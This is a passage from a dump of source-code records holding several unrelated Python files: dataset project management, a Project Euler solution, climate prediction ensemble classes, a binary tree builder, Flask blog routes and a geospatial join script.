_):\n super().__init__()\n def __iter__(_):\n return filter(pred, iter(self))\n def categories(_):\n return self.categories()\n\n return self.transform(_DatasetFilter)\n\n def export(self, save_dir: str, format, **kwargs):\n dataset = Dataset.from_extractors(self, env=self.env)\n dataset.export(save_dir, format, **kwargs)\n\n def define_categories(self, categories):\n assert not self._categories\n self._categories = categories\n\n def transform_project(self, method, save_dir=None, **method_kwargs):\n # NOTE: probably this function should be in the ViewModel layer\n transformed = self.transform(method, **method_kwargs)\n self._save_branch_project(transformed, save_dir=save_dir)\n\n def apply_model(self, model, save_dir=None, batch_size=1):\n # NOTE: probably this function should be in the ViewModel layer\n if isinstance(model, str):\n model = self._project.make_executable_model(model)\n\n self.transform_project(ModelTransform, launcher=model,\n save_dir=save_dir, batch_size=batch_size)\n\n def export_project(self, save_dir, converter,\n filter_expr=None, filter_annotations=False, remove_empty=False):\n # NOTE: probably this function should be in the ViewModel layer\n dataset = self\n if filter_expr:\n dataset = dataset.filter(filter_expr,\n filter_annotations=filter_annotations,\n remove_empty=remove_empty)\n\n save_dir = osp.abspath(save_dir)\n save_dir_existed = osp.exists(save_dir)\n try:\n os.makedirs(save_dir, exist_ok=True)\n converter(dataset, save_dir)\n except BaseException:\n if not save_dir_existed:\n shutil.rmtree(save_dir)\n raise\n\n def filter_project(self, filter_expr, filter_annotations=False,\n save_dir=None, remove_empty=False):\n # NOTE: probably this function should be in the ViewModel layer\n dataset = self\n if filter_expr:\n dataset = dataset.filter(filter_expr,\n filter_annotations=filter_annotations,\n remove_empty=remove_empty)\n self._save_branch_project(dataset, save_dir=save_dir)\n\nclass Project:\n @classmethod\n def load(cls, path):\n path = osp.abspath(path)\n config_path = osp.join(path, PROJECT_DEFAULT_CONFIG.env_dir,\n PROJECT_DEFAULT_CONFIG.project_filename)\n config = Config.parse(config_path)\n config.project_dir = path\n config.project_filename = osp.basename(config_path)\n return Project(config)\n\n def save(self, save_dir=None):\n config = self.config\n\n if save_dir is None:\n assert config.project_dir\n project_dir = config.project_dir\n else:\n project_dir = save_dir\n\n env_dir = osp.join(project_dir, config.env_dir)\n save_dir = osp.abspath(env_dir)\n\n project_dir_existed = osp.exists(project_dir)\n env_dir_existed = osp.exists(env_dir)\n try:\n os.makedirs(save_dir, exist_ok=True)\n\n config_path = osp.join(save_dir, config.project_filename)\n config.dump(config_path)\n except BaseException:\n if not env_dir_existed:\n shutil.rmtree(save_dir, ignore_errors=True)\n if not project_dir_existed:\n shutil.rmtree(project_dir, ignore_errors=True)\n raise\n\n @staticmethod\n def generate(save_dir, config=None):\n config = Config(config)\n config.project_dir = save_dir\n project = Project(config)\n project.save(save_dir)\n return project\n\n @staticmethod\n def import_from(path, format=None, env=None, **options):\n if env is None:\n env = Environment()\n\n if not format:\n matches = env.detect_dataset(path)\n if not matches:\n raise NoMatchingFormatsError()\n if 1 < len(matches):\n raise MultipleFormatsMatchError(matches)\n format = matches[0]\n elif not env.is_format_known(format):\n raise UnknownFormatError(format)\n\n if format in env.importers:\n project = env.make_importer(format)(path, **options)\n elif format in env.extractors:\n project = Project(env=env)\n project.add_source('source', {\n 'url': path,\n 'format': format,\n 'options': options,\n })\n else:\n raise UnknownFormatError(format)\n return project\n\n def __init__(self, config=None, env=None):\n self.config = Config(config,\n fallback=PROJECT_DEFAULT_CONFIG, schema=PROJECT_SCHEMA)\n if env is None:\n env = Environment(self.config)\n env.models.batch_register(self.config.models)\n env.sources.batch_register(self.config.sources)\n env.load_plugins(osp.join(self.config.project_dir,\n self.config.env_dir, self.config.plugins_dir))\n elif config is not None:\n raise ValueError(\"env can only be provided when no config provided\")\n self.env = env\n\n def make_dataset(self):\n return ProjectDataset(self)\n\n def add_source(self, name, value=None):\n if value is None or isinstance(value, (dict, Config)):\n value = Source(value)\n self.config.sources[name] = value\n self.env.sources.register(name, value)\n\n def remove_source(self, name):\n self.config.sources.remove(name)\n self.env.sources.unregister(name)\n\n def get_source(self, name):\n try:\n return self.config.sources[name]\n except KeyError:\n raise KeyError(\"Source '%s' is not found\" % name)\n\n def get_subsets(self):\n return self.config.subsets\n\n def set_subsets(self, value):\n if not value:\n self.config.remove('subsets')\n else:\n self.config.subsets = value\n\n def add_model(self, name, value=None):\n if value is None or isinstance(value, (dict, Config)):\n value = Model(value)\n self.env.register_model(name, value)\n self.config.models[name] = value\n\n def get_model(self, name):\n try:\n return self.env.models.get(name)\n except KeyError:\n raise KeyError(\"Model '%s' is not found\" % name)\n\n def remove_model(self, name):\n self.config.models.remove(name)\n self.env.unregister_model(name)\n\n def make_executable_model(self, name):\n model = self.get_model(name)\n return self.env.make_launcher(model.launcher,\n **model.options, model_dir=osp.join(\n self.config.project_dir, self.local_model_dir(name)))\n\n def make_source_project(self, name):\n source = self.get_source(name)\n\n config = Config(self.config)\n config.remove('sources')\n config.remove('subsets')\n project = Project(config)\n project.add_source(name, source)\n return project\n\n def local_model_dir(self, model_name):\n return osp.join(\n self.config.env_dir, self.config.models_dir, model_name)\n\n def local_source_dir(self, source_name):\n return osp.join(self.config.sources_dir, source_name)\n","sub_path":"datumaro/components/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":17013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"486338784","text":"import time\ndef find_self_powers(max=100):\n global start, end\n start = time.time()\n sum = 0\n for i in range(1, max):\n sum += i**i\n sum = list(str(sum))\n end = time.time()\n return clean_list(sum[-10:])\n\ndef clean_list(list):\n new_number = \"\"\n for j in list:\n new_number += j\n return int(new_number)\nfind_self_powers(1000)\nprint(\"{} found in {} seconds\".format(find_self_powers(1000), end-start))\n","sub_path":"Python/problem48.py","file_name":"problem48.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"259660505","text":"import xarray as xr\nfrom .prediction import (compute_reference, compute_persistence,\n compute_perfect_model, compute_persistence_pm,\n compute_uninitialized)\nfrom .bootstrap import bootstrap_perfect_model, _pseudo_ens\n# Both:\n# TODO: add horizon functionality\n# TODO: add various `get` and `set` decorators\n# TODO: add checks for our package naming conventions. I.e., should\n# have 'member', 'initialization', etc. Can do this after updating the\n# terminology.\n# TODO: allow user to only compute things for one variable. I.e., if the\n# PredictionEnsemble has multiple variables, maybe you only want to compute\n# for one.\n# TODO: For attributes, don't want them spit out for every `print(dp)` call.\n# Maybe have a decorator under PredictionEnsemble that is .get_attr()\n# TODO: Add attributes to the PredictionEnsemble that will change behavior\n# for some functions. E.g.:\n# temporal_resolution = 'annual'\n# TODO: Add attributes to returned objects. E.g., 'skill' should come back\n# with attribute explaining what two things were compared.\n\n# PerfectModel:\n# TODO: add relative entropy functionality\n\n# Reference\n# TODO: make sure that comparison 'm2r' works (i.e., allow for the ensemble\n# members to be on DPLE and not just the mean)\n\n# PerfectModel:\n# TODO: add relative entropy functionality\n\n# Reference\n# TODO: make sure that comparison 'm2r' works (i.e., allow for the ensemble\n# members to be on DPLE and not just the mean)\n\n\n# --------------\n# VARIOUS CHECKS\n# --------------\ndef _check_prediction_ensemble_dimensions(xobj):\n \"\"\"\n Checks that at the minimum, the climate prediction object has dimensions\n `initialization` and `time` (i.e., it's a time series with lead\n times.\n \"\"\"\n cond = all(dims in xobj.dims for dims in ['initialization', 'time'])\n if not cond:\n # create custom error here.\n raise ValueError(\"\"\"Your decadal prediction object must contain the\n dimensions `time` and `initialization` at the minimum.\"\"\")\n\n\ndef _check_reference_dimensions(init, ref):\n \"\"\"Checks that the reference matches all initialized dimensions except\n for 'time' and 'member'\"\"\"\n init_dims = list(init.dims)\n if 'time' in init_dims:\n init_dims.remove('time')\n if 'member' in init_dims:\n init_dims.remove('member')\n if not (set(ref.dims) == set(init_dims)):\n raise ValueError(\"\"\"Reference dimensions must match initialized\n prediction ensemble dimensions (excluding `time` and `member`.)\"\"\")\n\n\ndef _check_control_dimensions(init, control):\n \"\"\"Checks that the control matches all initialized prediction ensemble\n dimensions except for `initialization` and `member`.\n\n NOTE: This needs to be merged with `_check_reference_dimensions` following\n refactoring. The dimension language is confusing, since control expects\n 'time' and reference expects 'initialization'.\"\"\"\n init_dims = list(init.dims)\n if 'initialization' in init_dims:\n init_dims.remove('initialization')\n if 'member' in init_dims:\n init_dims.remove('member')\n if not (set(control.dims) == set(init_dims)):\n raise ValueError(\"\"\"Control dimensions must match initialized\n prediction ensemble dimensions (excluding `initialization` and\n `member`.)\"\"\")\n\n\ndef _check_reference_vars_match_initialized(init, ref):\n \"\"\"\n Checks that a new reference (or control) dataset has at least one variable\n in common with the initialized dataset. This ensures that they can be\n compared pairwise.\n ref: new addition\n init: dp.initialized\n \"\"\"\n init_list = [var for var in init.data_vars]\n ref_list = [var for var in ref.data_vars]\n # https://stackoverflow.com/questions/10668282/\n # one-liner-to-check-if-at-least-one-item-in-list-exists-in-another-list\n if set(init_list).isdisjoint(ref_list):\n raise ValueError(\"\"\"Please provide a Dataset/DataArray with at least\n one matching variable to the initialized prediction ensemble.\"\"\")\n\n\ndef _check_xarray(xobj):\n \"\"\"Checks that it is in fact an xarray object coming in.\n\n NOTE: This needs to be changed to a decorator.\n \"\"\"\n if not isinstance(xobj, (xr.Dataset, xr.DataArray)):\n raise ValueError(\"\"\"You must input an xarray Dataset or DataArray.\"\"\")\n\n\n# ----------\n# Aesthetics\n# ----------\ndef _display_metadata(self):\n \"\"\"\n This is called in the following case:\n\n ```\n dp = cp.ReferenceEnsemble(dple)\n print(dp)\n ```\n \"\"\"\n header = f''\n summary = header + '\\nInitialized Ensemble:\\n'\n summary += ' ' + str(self.initialized.data_vars)[18:].strip() + '\\n'\n if isinstance(self, ReferenceEnsemble):\n if any(self.reference):\n for key in self.reference:\n summary += f'{key}:\\n'\n N = len(self.reference[key].data_vars)\n for i in range(1, N+1):\n summary += ' ' + \\\n str(self.reference[key].data_vars) \\\n .split('\\n')[i].strip() + '\\n'\n else:\n summary += 'References:\\n'\n summary += ' None\\n'\n elif isinstance(self, PerfectModelEnsemble):\n summary += 'Control:\\n'\n if any(self.control):\n N = len(self.control.data_vars)\n for i in range(1, N+1):\n summary += ' ' + \\\n str(self.control.data_vars) \\\n .split('\\n')[i].strip() + '\\n'\n else:\n summary += ' None\\n'\n if any(self.uninitialized):\n summary += 'Uninitialized:\\n'\n summary += ' ' + str(self.uninitialized.data_vars)[18:].strip()\n else:\n summary += 'Uninitialized:\\n'\n summary += ' None'\n return summary\n\n\n# -----------------\n# CLASS DEFINITIONS\n# -----------------\nclass PredictionEnsemble:\n \"\"\"\n The main object. This is the super of both `PerfectModelEnsemble` and\n `ReferenceEnsemble`. This cannot be called directly by a user, but\n should house functions that both ensemble types can use.\n \"\"\"\n def __init__(self, xobj):\n _check_xarray(xobj)\n if isinstance(xobj, xr.DataArray):\n # makes applying prediction functions easier, etc.\n xobj = xobj.to_dataset()\n _check_prediction_ensemble_dimensions(xobj)\n self.initialized = xobj\n self.uninitialized = {}\n\n # when you just print it interactively\n # https://stackoverflow.com/questions/1535327/how-to-print-objects-of-class-using-print\n def __repr__(self):\n return _display_metadata(self)\n\n\nclass PerfectModelEnsemble(PredictionEnsemble):\n \"\"\"An object for \"perfect model\" climate prediction ensembles.\n\n `PerfectModelEnsemble` is a sub-class of `PredictionEnsemble`. It tracks\n the control run used to initialize the ensemble for easy computations,\n bootstrapping, etc.\n\n This object is built on `xarray` and thus requires the input object to\n be an `xarray` Dataset or DataArray.\n \"\"\"\n\n def __init__(self, xobj):\n \"\"\"Create a `PerfectModelEnsemble` object by inputting output from the\n control run in `xarray` format.\n\n Args:\n xobj (xarray object):\n decadal prediction ensemble output.\n\n Attributes:\n control: Dictionary of control run associated with the initialized\n ensemble.\n uninitialized: Dictionary of uninitialized run that is\n bootstrapped from the initialized run.\n \"\"\"\n\n super().__init__(xobj)\n self.control = {}\n\n def add_control(self, xobj):\n \"\"\"Add the control run that initialized the climate prediction\n ensemble.\n\n Args:\n xobj (xarray object): Dataset/DataArray of the control run.\n \"\"\"\n # NOTE: These should all be decorators.\n _check_xarray(xobj)\n if isinstance(xobj, xr.DataArray):\n xobj = xobj.to_dataset()\n _check_control_dimensions(self.initialized, xobj)\n _check_reference_vars_match_initialized(self.initialized, xobj)\n self.control = xobj\n\n def generate_uninitialized(self, var=None):\n \"\"\"Generate an uninitialized ensemble by bootstrapping the\n initialized prediction ensemble.\n\n Args:\n var (str, default None):\n Name of variable to be bootstrapped.\n\n Returns:\n Bootstrapped (uninitialized) ensemble as a Dataset.\n \"\"\"\n if var is not None:\n uninit = _pseudo_ens(self.initialized[var],\n self.control[var]).to_dataset()\n else:\n uninit = _pseudo_ens(self.initialized,\n self.control)\n self.uninitialized = uninit\n\n def compute_metric(self, metric='pearson_r', comparison='m2m',\n running=None, reference_period=None):\n \"\"\"Compares the initialized ensemble to the control run.\n\n Args:\n metric (str, default 'pearson_r'):\n Metric to apply in the comparison.\n comparison (str, default 'm2m'):\n How to compare the climate prediction ensemble to the control.\n running (int, default None):\n Size of the running window for variance smoothing.\n reference_period (str, default None):\n Choice of reference period of control.\n\n Returns:\n Result of the comparison as a Dataset.\n \"\"\"\n\n if len(self.control) == 0:\n raise ValueError(\"\"\"You need to add a control dataset before\n attempting to compute predictability.\"\"\")\n else:\n return compute_perfect_model(self.initialized,\n self.control,\n metric=metric,\n comparison=comparison,\n running=running,\n reference_period=reference_period)\n\n def compute_uninitialized(self, metric='pearson_r', comparison='m2m',\n running=None, reference_period=None):\n \"\"\"Compares the bootstrapped uninitialized run to the control run.\n\n Args:\n metric (str, default 'pearson_r'):\n Metric to apply in the comparison.\n comparison (str, default 'm2m'):\n How to compare to the control run.\n running (int, default None):\n Size of the running window for variance smoothing.\n reference_period (str, default None):\n Choice of reference period of control.\n\n Returns:\n Result of the comparison as a Dataset.\n \"\"\"\n if len(self.uninitialized) == 0:\n raise ValueError(\"\"\"Uninitialized ensemble not generated. Please\n run `pm.generate_ensemble()` first.\"\"\")\n else:\n return compute_perfect_model(self.uninitialized,\n self.control,\n metric=metric,\n comparison=comparison,\n running=running,\n reference_period=reference_period)\n\n def compute_persistence(self, nlags=None, metric='pearson_r'):\n \"\"\"Compute a simple persistence forecast for the control run.\n\n Args:\n nlags (int, default None):\n Number of lags to compute persistence forecast to. If None,\n compute to the length of the initialized forecasts.\n metric (str, default 'pearson_r'):\n Metric to apply to the persistence forecast.\n\n Returns:\n Dataset of persistence forecast results (if refname is declared),\n or dictionary of Datasets with keys corresponding to reference\n name.\n\n Reference:\n * Chapter 8 (Short-Term Climate Prediction) in\n Van den Dool, Huug. Empirical methods in short-term climate\n prediction. Oxford University Press, 2007.\n \"\"\"\n\n if len(self.control) == 0:\n raise ValueError(\"\"\"You need to add a control dataset before\n attempting to compute a persistence forecast.\"\"\")\n if nlags is None:\n nlags = self.initialized.time.size\n return compute_persistence_pm(self.initialized,\n self.control,\n nlags=nlags,\n metric=metric)\n\n def bootstrap(self, var=None, metric='pearson_r', comparison='m2e', sig=95,\n bootstrap=500, compute_uninitialized_skill=True,\n compute_persistence_skill=True, pers_sig=None,\n compute_ci=True, nlags=None, running=None,\n reference_period='MK'):\n \"\"\"Bootstrap ensemble simulations with replacement.\n\n Args:\n var (str, default None):\n Variable to apply bootstrapping to.\n metric (str, default 'pearson_r'):\n Metric to apply for bootstrapping.\n comparison (str, default 'm2e'):\n Comparison style for bootstrapping.\n sig (int, default 95):\n Significance level for uninitialized and initialized\n comparison.\n bootstrap (int, default 500): Number of resampling iterations for\n bootstrapping with replacement.\n compute_uninitialized_skill (bool, default True):\n Whether to compute unintialized skill.\n compute_persistence_skill (bool, default True):\n Whether to compute persistence skill.\n pers_sig (int, default None):\n If not None, the separate significance level for persistence.\n compute_ci (bool, default True):\n Whether to compute confidence intervals.\n nlags (int, default None):\n Number of lags.\n running (int, default None):\n Size of the window for variance smoothing.\n reference_period (str, default 'MK'):\n Choice of reference period of control.\n\n Returns:\n Dictionary of Datasets for each variable applied to with the\n following variables:\n * init_ci: confidence levels of init_skill.\n * uninit_ci: confidence levels of uninit_skill.\n * pers_ci: confidence levels of pers_skill.\n * p_uninit_over_init: p-value of the hypothesis that the\n difference of skill between the initialized and\n uninitialized simulations is smaller or equal to zero\n based on bootstrapping with replacement.\n * p_pers_over_init: p-value of the hypothesis that the\n difference of skill between the initialized and persistence\n simulations is smaller or equal to zero based on\n bootstrapping with replacement.\n\n Reference:\n * Goddard, L., A. Kumar, A. Solomon, D. Smith, G. Boer, P.\n Gonzalez, V. Kharin, et al. “A Verification Framework for\n Interannual-to-Decadal Predictions Experiments.” Climate\n Dynamics 40, no. 1–2 (January 1, 2013): 245–72.\n https://doi.org/10/f4jjvf.\n\n \"\"\"\n # shorthand to adhere to PEP8 column limit.\n cus = compute_uninitialized_skill\n cps = compute_persistence_skill\n ref_pd = reference_period\n if len(self.control) == 0:\n raise ValueError(\"\"\"You need to add a control dataset before\n attempting to bootstrap.\"\"\")\n # compute for single variable.\n if var is not None:\n return bootstrap_perfect_model(self.initialized[var],\n self.control[var],\n metric=metric,\n comparison=comparison,\n sig=sig,\n bootstrap=bootstrap,\n compute_uninitialized_skill=cus,\n compute_persistence_skill=cps,\n pers_sig=pers_sig,\n compute_ci=compute_ci,\n nlags=nlags,\n running=running,\n reference_period=ref_pd)\n # compute for all variables in control.\n else:\n if len(self.initialized.data_vars) == 1:\n for var in self.initialized.data_vars:\n var = var\n return bootstrap_perfect_model(self.initialized[var],\n self.control[var],\n metric=metric,\n comparison=comparison,\n sig=sig,\n bootstrap=bootstrap,\n compute_uninitialized_skill=cus,\n compute_persistence_skill=cps,\n pers_sig=pers_sig,\n compute_ci=compute_ci,\n nlags=nlags,\n running=running,\n reference_period=ref_pd)\n else:\n boot = {}\n for var in self.control.data_vars:\n res = bootstrap_perfect_model(self.initialized[var],\n self.control[var],\n metric=metric,\n comparison=comparison,\n sig=sig,\n bootstrap=bootstrap,\n compute_uninitialized_skill=cus,\n compute_persistence_skill=cps,\n pers_sig=pers_sig,\n compute_ci=compute_ci,\n nlags=nlags,\n running=running,\n reference_period=ref_pd)\n boot[var] = res\n return boot\n\n\nclass ReferenceEnsemble(PredictionEnsemble):\n \"\"\"An object for climate prediction ensembles initialized by a data-like\n product.\n\n `ReferenceEnsemble` is a sub-class of `PredictionEnsemble`. It tracks all\n simulations/observations associated with the prediction ensemble for easy\n computation across multiple variables and products.\n\n This object is built on `xarray` and thus requires the input object to\n be an `xarray` Dataset or DataArray.\n \"\"\"\n def __init__(self, xobj):\n \"\"\"Create a `ReferenceEnsemble` object by inputting output from a\n prediction ensemble in `xarray` format.\n\n Args:\n xobj (xarray object):\n decadal prediction ensemble output.\n\n Attributes:\n reference: Dictionary of various reference observations/simulations\n to associate with the decadal prediction ensemble.\n uninitialized: Dictionary of companion (or bootstrapped)\n uninitialized ensemble run.\n \"\"\"\n super().__init__(xobj)\n self.reference = {}\n\n def _vars_to_drop(self, ref, init=True):\n \"\"\"Returns list of variables to drop when comparing\n initialized/uninitialized to a reference.\n\n This is useful if the two products being compared do not share the same\n variables. I.e., if the reference has ['SST'] and the initialized has\n ['SST', 'SALT'], this will return a list with ['SALT'] to be dropped\n from the initialized.\n\n Args:\n ref (str):\n Name of reference being compared to.\n init (bool, default True):\n If `True`, check variables on the initialized.\n If `False`, check variables on the uninitialized.\n\n Returns:\n Lists of variables to drop from the initialized/uninitialized\n and reference Datasets.\n \"\"\"\n if init:\n init_vars = [var for var in self.initialized.data_vars]\n else:\n init_vars = [var for var in self.uninitialized.data_vars]\n ref_vars = [var for var in self.reference[ref].data_vars]\n # find what variable they have in common.\n intersect = set(ref_vars).intersection(init_vars)\n # perhaps could be done cleaner than this.\n for var in intersect:\n # generates a list of variables to drop from each product being\n # compared.\n idx = init_vars.index(var)\n init_vars.pop(idx)\n idx = ref_vars.index(var)\n ref_vars.pop(idx)\n return init_vars, ref_vars\n\n def add_reference(self, xobj, name):\n \"\"\"Add a reference product for comparison to the initialized ensemble.\n\n NOTE: There is currently no check to ensure that these objects cover\n the same time frame.\n\n Args:\n xobj (xarray object): Dataset/DataArray being appended to the\n `ReferenceEnsemble` object.\n name (str): Name of this object (e.g., \"reconstruction\")\n \"\"\"\n _check_xarray(xobj)\n if isinstance(xobj, xr.DataArray):\n xobj = xobj.to_dataset()\n # TODO: Make sure everything is the same length. Can add keyword\n # to autotrim to the common timeframe?\n _check_reference_dimensions(self.initialized, xobj)\n _check_reference_vars_match_initialized(self.initialized, xobj)\n self.reference[name] = xobj\n\n def add_uninitialized(self, xobj):\n \"\"\"Add a companion uninitialized ensemble for comparison to references.\n\n NOTE: There is currently no check to ensure that these objects cover\n the same time frame as the initialized ensemble.\n\n Args:\n xobj (xarray object): Dataset/DataArray of the uninitialzed\n ensemble.\n \"\"\"\n _check_xarray(xobj)\n if isinstance(xobj, xr.DataArray):\n xobj = xobj.to_dataset()\n _check_reference_dimensions(self.initialized, xobj)\n _check_reference_vars_match_initialized(self.initialized, xobj)\n self.uninitialized = xobj\n\n def compute_metric(self, refname=None, metric='pearson_r',\n comparison='e2r', nlags=None, return_p=False):\n \"\"\"Compares the initialized ensemble to a given reference.\n\n This will automatically run the comparison against all shared variables\n between the initialized ensemble and reference.\n\n Args:\n refname (str):\n Name of reference to compare to. If `None`, compare to all\n references.\n metric (str, default 'pearson_r'):\n Metric to apply in the comparison.\n comparison (str, default 'e2r'):\n How to compare to the reference. ('e2r' for ensemble mean to\n reference. 'm2r' for each individual member to reference)\n nlags (int, default None):\n Number of lags to compute the metric to.\n return_p (bool, default False):\n Whether to return p-values associated with a pearson r\n comparison.\n\n Returns:\n Dataset of comparison results (if comparing to one reference),\n or dictionary of Datasets with keys corresponding to reference\n name.\n \"\"\"\n # TODO: Check that p-value return is easy on the user.\n # Note (RXB): compute_reference currently returns the skill results\n # and p-values as two separate dictionaries. Need to think of a better\n # way to handle this.\n if len(self.reference) == 0:\n raise ValueError(\"\"\"You need to add a reference dataset before\n attempting to compute predictability.\"\"\")\n # Computation for a single reference.\n if refname is not None:\n drop_init, drop_ref = self._vars_to_drop(refname)\n return compute_reference(self.initialized.drop(drop_init),\n self.reference[refname].drop(drop_ref),\n metric=metric,\n comparison=comparison,\n nlags=nlags,\n return_p=return_p)\n else:\n if len(self.reference) == 1:\n refname = list(self.reference.keys())[0]\n drop_init, drop_ref = self._vars_to_drop(refname)\n return compute_reference(self.initialized.drop(drop_init),\n self.reference[refname]\n .drop(drop_ref),\n metric=metric,\n comparison=comparison,\n nlags=nlags,\n return_p=return_p)\n # Loop through all references and return results as a dictionary\n # with keys corresponding to reference names.\n else:\n skill = {}\n for key in self.reference:\n drop_init, drop_ref = self._vars_to_drop(key)\n skill[key] = compute_reference(self.initialized\n .drop(drop_init),\n self.reference[key]\n .drop(drop_ref),\n metric=metric,\n comparison=comparison,\n nlags=nlags,\n return_p=return_p)\n return skill\n\n def compute_uninitialized(self, refname=None, nlags=None,\n metric='pearson_r', comparison='e2r',\n return_p=False):\n \"\"\"Compares the uninitialized ensemble to a given reference.\n\n This will automatically run the comparison against all shared variables\n between the initialized ensemble and reference.\n\n Args:\n refname (str):\n Name of reference to compare to. If `None`, compare to all\n references.\n metric (str, default 'pearson_r'):\n Metric to apply in the comparison.\n comparison (str, default 'e2r'):\n How to compare to the reference. ('e2r' for ensemble mean to\n reference. 'm2r' for each individual member to reference)\n nlags (int, default None):\n Number of lags to compute the metric to.\n return_p (bool, default False):\n Whether to return p-values associated with a pearson r\n comparison.\n\n Returns:\n Dataset of comparison results (if comparing to one reference),\n or dictionary of Datasets with keys corresponding to reference\n name.\n \"\"\"\n # TODO: Check that p-value return is easy on the user. (see note on\n # compute_metric)\n if len(self.uninitialized) == 0:\n raise ValueError(\"\"\"You need to add an uninitialized ensemble\n before attempting to compute its skill.\"\"\")\n # Compute for a single reference.\n if refname is not None:\n drop_un, drop_ref = self._vars_to_drop(refname, init=False)\n return compute_uninitialized(self.uninitialized.drop(drop_un),\n self.reference[refname]\n .drop(drop_ref),\n metric=metric,\n comparison=comparison,\n return_p=return_p,\n dim='initialization')\n else:\n if len(self.reference) == 1:\n refname = list(self.reference.keys())[0]\n drop_un, drop_ref = self._vars_to_drop(refname,\n init=False)\n return compute_uninitialized(self.uninitialized\n .drop(drop_un),\n self.reference[refname]\n .drop(drop_ref),\n metric=metric,\n comparison=comparison,\n return_p=return_p,\n dim='initialization')\n # Loop through all references and apply comparison.\n else:\n u = {}\n for key in self.reference:\n drop_un, drop_ref = self._vars_to_drop(key,\n init=False)\n u[key] = compute_uninitialized(self.uninitialized\n .drop(drop_un),\n self.reference[key]\n .drop(drop_ref),\n metric=metric,\n comparison=comparison,\n return_p=return_p,\n dim='initialization')\n return u\n\n def compute_persistence(self, refname=None, nlags=None,\n metric='pearson_r'):\n \"\"\"Compute a simple persistence forecast for a reference.\n\n This simply applies some metric between the reference and itself out\n to some lag (i.e., an ACF in the case of pearson r).\n\n Args:\n refname (str, default None):\n Name of reference to compute the persistence forecast for. If\n `None`, compute for all references.\n nlags (int, default None):\n Number of lags to compute persistence forecast to. If None,\n compute to the length of the initialized forecasts.\n metric (str, default 'pearson_r'):\n Metric to apply to the persistence forecast.\n\n Returns:\n Dataset of persistence forecast results (if refname is declared),\n or dictionary of Datasets with keys corresponding to reference\n name.\n\n Reference:\n * Chapter 8 (Short-Term Climate Prediction) in\n Van den Dool, Huug. Empirical methods in short-term climate\n prediction. Oxford University Press, 2007.\n \"\"\"\n if len(self.reference) == 0:\n raise ValueError(\"\"\"You need to add a reference dataset before\n attempting to compute persistence forecasts.\"\"\")\n # Default to the length of the initialized forecast.\n if nlags is None:\n nlags = self.initialized.time.size\n # apply to single reference.\n if refname is not None:\n return compute_persistence(self.initialized,\n self.reference[refname],\n nlags=nlags,\n metric=metric)\n # loop through and apply to all references.\n else:\n persistence = {}\n for key in self.reference:\n persistence[key] = compute_persistence(self.initialized,\n self.reference[key],\n nlags=nlags,\n metric=metric)\n return persistence\n\n def compute_horizon(self, refname=None,):\n \"\"\"\n Method to compute the predictability horizon.\n \"\"\"\n raise NotImplementedError(\"\"\"Predictability horizons are not yet fully\n implemented and tested.\"\"\")\n","sub_path":"climpred/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":32920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"433388349","text":"class TreeNode:\n def __init__(self,val):\n self.val = val\n self.right = None\n self.left = None\n\ndef construct(s):\n queue =[]\n lst = s.split('\\t')\n root = TreeNode(lst[0])\n res = root\n queue.append(root)\n index = 1\n while index ', methods=['GET'])\ndef post(post_id):\n\tpost = Post.query.get_or_404(post_id)\n\treturn render_template('post_view.html', post=post)\n\n@posts.route('/post/new', methods=['GET', 'POST'])\n@login_required\ndef post_form():\n\tform = PostForm()\n\tif form.validate_on_submit():\n\t\tpost = Post(\n\t\t\ttitle=form.title.data, \n\t\t\tcontent=form.content.data, \n\t\t\tauthor=current_user,\n\t\t\tproject_id=form.project_id.data)\n\t\tdb.session.add(post)\n\t\tdb.session.commit()\n\t\tflash('You have published your post!', 'success')\n\t\treturn redirect(url_for('main.home'))\n\treturn render_template('post_form.html', form=form, title='New Post')\n\n@posts.route('/post//update', methods=['GET', 'POST'])\n@login_required\ndef update_post(post_id):\n\tpost = Post.query.get_or_404(post_id)\n\tif post.author != current_user:\n\t\tabort(403)\n\tform = PostForm()\n\tprint('Entering validation conditional...')\n\tif form.validate_on_submit():\n\t\tpost.title = form.title.data\n\t\tpost.content = form.content.data\n\t\tdb.session.commit()\n\t\tflash('You have updated your post!', 'success')\n\t\tprint('Form validated!')\n\t\treturn redirect(url_for('posts.post', post_id=post.id))\n\telif request.method == 'GET':\n\t\tform.title.data = post.title\n\t\tform.content.data = post.content\n\t\tprint('elif conditional: Filled in form fields!')\n\treturn render_template('post_form.html', form=form, title='New Post')\n\n@posts.route('/post//delete', methods=['POST'])\ndef delete_post(post_id):\n\tpost = Post.query.get_or_404(post_id)\n\tif post.author != current_user:\n\t\tprint(current_user)\n\t\tabort(403)\n\tdb.session.delete(post)\n\tdb.session.commit()\n\tflash('You have deleted your post!', 'danger')\n\treturn redirect(url_for('main.home'))\n","sub_path":"tbcompanion/posts/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"491542271","text":"#!/usr/local/bin/python\n# -*- coding: utf8 -*-\n\n# configuration\nfrom src import config\n# script relevant modules\nfrom shapely.geometry import Point\nimport pandas as pd\nimport geopandas as gp\nfrom fiona.crs import from_epsg\n\ndef sjoin_municipality(df, source_epsg, col_longitude, col_latitude):\n\t''' Perform a spatial join of assets and municipalities\n\n\tMore information\n\n\tArgs: \n\t\tdf: DataFrame storing entire table\n\t\tcol_longitude: name of column containing the longitude\n\t\tcol_latitude: name of column containing the latitude\n\n\tReturns:\n\t\tpoints: dataframe storing the entire table plus additional\n\t\t\tcolumns for ags and municipality name\n\tRaises:\n\n\t'''\n\n\t# instantiate configuration class\n\tcfg = config.Configuration()\n\n\t# convert DataFrame df to a GeoDataFrame\n\t# set the correct CRS for geocoordinates\n\tcoordinates = [Point(xy) for xy in zip(df[col_longitude], df[col_latitude])] # in shapley, the point is a pair with the order (longitude, latitude)\n\tpoints = gp.GeoDataFrame(df, geometry=coordinates)\n\tpoints.crs = from_epsg(source_epsg)\n\tpoints = points.to_crs(epsg=25832) # harmonize with CRS of shapefile\n\t\n\tfor i in range(2000,2012):\n\t\t# load shapefile\n\t\tfile = 'vg250_gem_' + str(i) + '.shp'\n\t\tshapefile = 